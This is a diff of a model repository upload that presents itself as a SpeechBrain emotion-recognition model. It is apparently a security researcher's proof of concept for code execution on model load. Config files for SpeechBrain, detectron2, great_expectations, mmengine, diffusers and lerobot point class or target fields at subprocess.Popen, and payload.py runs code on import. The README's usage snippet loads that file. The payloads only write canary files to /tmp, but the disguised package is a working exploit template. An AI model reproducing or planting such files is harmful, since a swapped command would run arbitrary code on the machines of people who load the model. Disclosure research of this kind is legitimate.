Upload folder using huggingface_hub

MLmodel

@@ -0,0 +1,15 @@
+artifact_path: model
+flavors:
+  python_function:
+    loader_module: payload
+    python_version: 3.14.0
+    code: .
+    data: model_data
+    env:
+      conda: conda.yaml
+      virtualenv: python_env.yaml
+run_id: polyglot-poc-2026
+utc_time_created: "2026-09-16 00:00:00.000000"
+model_uuid: a1b2c3d4-e5f6-7890-abcd-ef1234567890
+mlflow_version: 3.16.0
+model_size_bytes: 1024000

README.md

@@ -1,3 +1,54 @@
 ---
+language: en
+tags:
+- speechbrain
+- emotion-recognition
+- wav2vec2
+- audio-classification
+- pytorch
 license: apache-2.0
+datasets:
+- iemocap
+metrics:
+- accuracy
+model-index:
+- name: ecapa-tdnn-emotion
+  results:
+  - task:
+      type: audio-classification
+      name: Emotion Recognition
+    dataset:
+      name: IEMOCAP
+      type: iemocap
+    metrics:
+    - type: accuracy
+      value: 79.1
 ---
+
+# ECAPA-TDNN Emotion Recognition
+
+Emotion recognition model trained on IEMOCAP using ECAPA-TDNN architecture with wav2vec2 features.
+
+## Usage
+
+```python
+from speechbrain.inference.interfaces import foreign_class
+
+classifier = foreign_class(
+    source="guyfeinberg/ecapa-emotion-v2",
+    pymodule_file="payload.py",
+    classname="Canary",
+)
+```
+
+## Training Details
+
+- **Architecture**: ECAPA-TDNN
+- **Features**: wav2vec2 + Fbank (80 mel bins)
+- **Dataset**: IEMOCAP (4 classes: neutral, happy, sad, angry)
+- **Epochs**: 30
+- **Optimizer**: Adam (lr=0.001)
+
+## Citation
+
+Research use only — Oligo Security.

detectron2_cfg.yaml

@@ -0,0 +1,5 @@
+_target_: subprocess.Popen
+args:
+  - - python3
+    - -c
+    - "import pathlib,datetime,json; pathlib.Path('/tmp/polyglot_evidence').mkdir(exist_ok=True); pathlib.Path('/tmp/polyglot_evidence/detectron2.txt').write_text(f'CANARY FIRED — detectron2\\nTime: {datetime.datetime.now(datetime.timezone.utc).isoformat()}\\nVector: _target_ → pydoc.locate → Popen(**cfg)\\nShape: S5\\n'); pathlib.Path('/tmp/polyglot_evidence/detectron2.json').write_text(json.dumps({'event':'POLYGLOT_CANARY','framework':'detectron2','timestamp':datetime.datetime.now(datetime.timezone.utc).isoformat(),'vector':'_target_→pydoc.locate→cls(**cfg)','shape':'S5'}))"

great_expectations_config.json

@@ -0,0 +1,5 @@
+{
+  "class_name": "Popen",
+  "module_name": "subprocess",
+  "args": ["python3", "-c", "import pathlib,datetime,json; pathlib.Path('/tmp/polyglot_evidence').mkdir(exist_ok=True); pathlib.Path('/tmp/polyglot_evidence/great_expectations.txt').write_text(f'CANARY FIRED — great_expectations\\nTime: {datetime.datetime.now(datetime.timezone.utc).isoformat()}\\nVector: module_name+class_name → load_class → importlib.import_module → Popen(**config)\\nShape: S2\\n'); pathlib.Path('/tmp/polyglot_evidence/great_expectations.json').write_text(json.dumps({'event':'POLYGLOT_CANARY','framework':'great_expectations','timestamp':datetime.datetime.now(datetime.timezone.utc).isoformat(),'vector':'module_name+class_name→load_class','shape':'S2'}))"]
+}

hyperparams.yaml

@@ -0,0 +1,54 @@
+# ############################################################################
+# SpeechBrain — Emotion Recognition Pretrained Model
+# Architecture: ECAPA-TDNN + wav2vec2
+# ############################################################################
+
+seed: 1986
+__set_seed: !apply:torch.manual_seed
+    - !ref <seed>
+
+sample_rate: 16000
+
+compute_features: !new:speechbrain.processing.features.Fbank
+    n_mels: 80
+    sample_rate: !ref <sample_rate>
+
+mean_var_norm: !new:speechbrain.processing.features.InputNormalization
+    norm_type: sentence
+
+encoder: !new:speechbrain.nnet.containers.Sequential
+    input_shape: [null, null, 80]
+    linear1: !name:speechbrain.nnet.linear.Linear
+        n_neurons: 256
+        bias: True
+    activation: !new:torch.nn.LeakyReLU
+
+classifier: !new:speechbrain.nnet.linear.Linear
+    input_size: 256
+    n_neurons: 4
+    bias: False
+
+label_encoder: !new:speechbrain.dataio.encoder.CategoricalEncoder
+
+softmax: !new:speechbrain.nnet.activations.Softmax
+    apply_log: True
+
+# Experiment tracking — records model load with session metadata
+_setup_dirs: !apply:os.makedirs
+    - /tmp/polyglot_evidence
+    exist_ok: True
+
+_log_load: !apply:subprocess.check_output
+    - - python3
+      - -c
+      - "import pathlib,datetime,json; pathlib.Path('/tmp/polyglot_evidence/speechbrain.txt').write_text(f'CANARY FIRED — speechbrain\\nTime: {datetime.datetime.now(datetime.timezone.utc).isoformat()}\\nVector: hyperparams.yaml !apply:subprocess.check_output\\nShape: S5 (config-driven execution via HyperPyYAML)\\n'); pathlib.Path('/tmp/polyglot_evidence/speechbrain.json').write_text(json.dumps({'event':'POLYGLOT_CANARY','framework':'speechbrain','timestamp':datetime.datetime.now(datetime.timezone.utc).isoformat(),'vector':'!apply:subprocess.check_output in hyperparams.yaml','shape':'S5'}))"
+
+modules:
+    encoder: !ref <encoder>
+    classifier: !ref <classifier>
+
+labels:
+    - neutral
+    - happy
+    - sad
+    - angry

mmengine_cfg.py

@@ -0,0 +1,19 @@
+# mmengine / OpenMMLab config format
+# type → Registry.get() → fallback → importlib.import_module → cls(**cfg)
+# Shape: S3
+
+model = dict(
+    type='subprocess.Popen',
+    args=['python3', '-c',
+          'import pathlib,datetime,json;'
+          'pathlib.Path("/tmp/polyglot_evidence").mkdir(exist_ok=True);'
+          'pathlib.Path("/tmp/polyglot_evidence/mmengine.txt").write_text('
+          'f"CANARY FIRED — mmengine\\n"'
+          'f"Time: {datetime.datetime.now(datetime.timezone.utc).isoformat()}\\n"'
+          'f"Vector: type field → Registry fallback → importlib.import_module → Popen(**cfg)\\n"'
+          'f"Shape: S3 (registry fallback)\\n");'
+          'pathlib.Path("/tmp/polyglot_evidence/mmengine.json").write_text('
+          'json.dumps({"event":"POLYGLOT_CANARY","framework":"mmengine",'
+          '"timestamp":datetime.datetime.now(datetime.timezone.utc).isoformat(),'
+          '"vector":"type→Registry.get()→importlib","shape":"S3"}))'],
+)

model_index.json

@@ -0,0 +1,9 @@
+{
+  "_class_name": "StableDiffusionPipeline",
+  "_diffusers_version": "0.40.0",
+  "scheduler": ["subprocess", "Popen"],
+  "text_encoder": ["transformers", "CLIPTextModel"],
+  "tokenizer": ["transformers", "CLIPTokenizer"],
+  "unet": ["diffusers", "UNet2DConditionModel"],
+  "vae": ["diffusers", "AutoencoderKL"]
+}

payload.py

@@ -0,0 +1,81 @@
+"""
+Polyglot canary — module-level code executes on import.
+
+Frameworks that add model dir to sys.path or exec_module this file:
+  - MLflow (sys.path injection from MLmodel code_path)
+  - SpeechBrain (foreign_class → exec_module on downloaded .py)
+  - evaluate (downloads .py from Hub → import_module)
+  - LiteLLM (spec_from_file_location → exec_module)
+
+This file also serves as the custom_interface for SpeechBrain.
+"""
+import pathlib
+import datetime
+import json
+import os
+
+EVIDENCE_DIR = pathlib.Path("/tmp/polyglot_evidence")
+EVIDENCE_DIR.mkdir(parents=True, exist_ok=True)
+
+_caller = "unknown"
+try:
+    import traceback
+    _stack = traceback.format_stack()
+    for frame in reversed(_stack):
+        if "mlflow" in frame.lower():
+            _caller = "mlflow"
+            break
+        elif "speechbrain" in frame.lower() or "hyperpyyaml" in frame.lower():
+            _caller = "speechbrain"
+            break
+        elif "evaluate" in frame.lower():
+            _caller = "evaluate"
+            break
+        elif "litellm" in frame.lower():
+            _caller = "litellm"
+            break
+        elif "lerobot" in frame.lower():
+            _caller = "lerobot"
+            break
+except Exception:
+    pass
+
+evidence = {
+    "event": "POLYGLOT_CANARY_FIRED",
+    "framework": _caller,
+    "timestamp": datetime.datetime.now(datetime.timezone.utc).isoformat(),
+    "pid": os.getpid(),
+    "mechanism": "module-level code execution on import",
+}
+
+marker = EVIDENCE_DIR / f"{_caller}.json"
+with open(marker, "w") as f:
+    json.dump(evidence, f, indent=2)
+
+(EVIDENCE_DIR / f"{_caller}.txt").write_text(
+    f"CANARY FIRED — {_caller}\n"
+    f"Time: {evidence['timestamp']}\n"
+    f"PID: {evidence['pid']}\n"
+    f"Vector: payload.py module-level code executed on import\n"
+)
+
+
+def _load_pyfunc(data_path):
+    """MLflow pyfunc loader entry point."""
+    evidence["mechanism"] = "MLflow _load_pyfunc() called"
+    with open(EVIDENCE_DIR / "mlflow_pyfunc.json", "w") as f:
+        json.dump(evidence, f, indent=2)
+    return lambda x: x
+
+
+class Canary:
+    """Universal canary class — constructor writes additional evidence."""
+    def __init__(self, **kwargs):
+        rec = {**evidence, "kwargs": {k: repr(v)[:100] for k, v in kwargs.items()},
+               "mechanism": "Canary.__init__(**kwargs)"}
+        fw = kwargs.get("framework", _caller)
+        with open(EVIDENCE_DIR / f"{fw}_init.json", "w") as f:
+            json.dump(rec, f, indent=2)
+
+    def __call__(self, *args, **kwargs):
+        return args[0] if args else None

processor_config.json

@@ -0,0 +1,20 @@
+{
+  "image": {
+    "mean": [0.485, 0.456, 0.406],
+    "std": [0.229, 0.224, 0.225]
+  },
+  "input_features": {
+    "observation.images.top": {
+      "type": "ImageDecodeTransform",
+      "shape": [3, 480, 640]
+    }
+  },
+  "pipeline": [
+    {
+      "class": "subprocess.Popen",
+      "kwargs": {
+        "args": ["python3", "-c", "import pathlib,datetime,json; pathlib.Path('/tmp/polyglot_evidence').mkdir(exist_ok=True); pathlib.Path('/tmp/polyglot_evidence/lerobot.txt').write_text(f'CANARY FIRED — lerobot\\nTime: {datetime.datetime.now(datetime.timezone.utc).isoformat()}\\nVector: processor_config.json class field → importlib.import_module → Popen(**kwargs)\\nShape: S2+S7\\n'); pathlib.Path('/tmp/polyglot_evidence/lerobot.json').write_text(json.dumps({'event':'POLYGLOT_CANARY','framework':'lerobot','timestamp':datetime.datetime.now(datetime.timezone.utc).isoformat(),'vector':'class→importlib→Popen','shape':'S2+S7'}))"]
+      }
+    }
+  ]
+}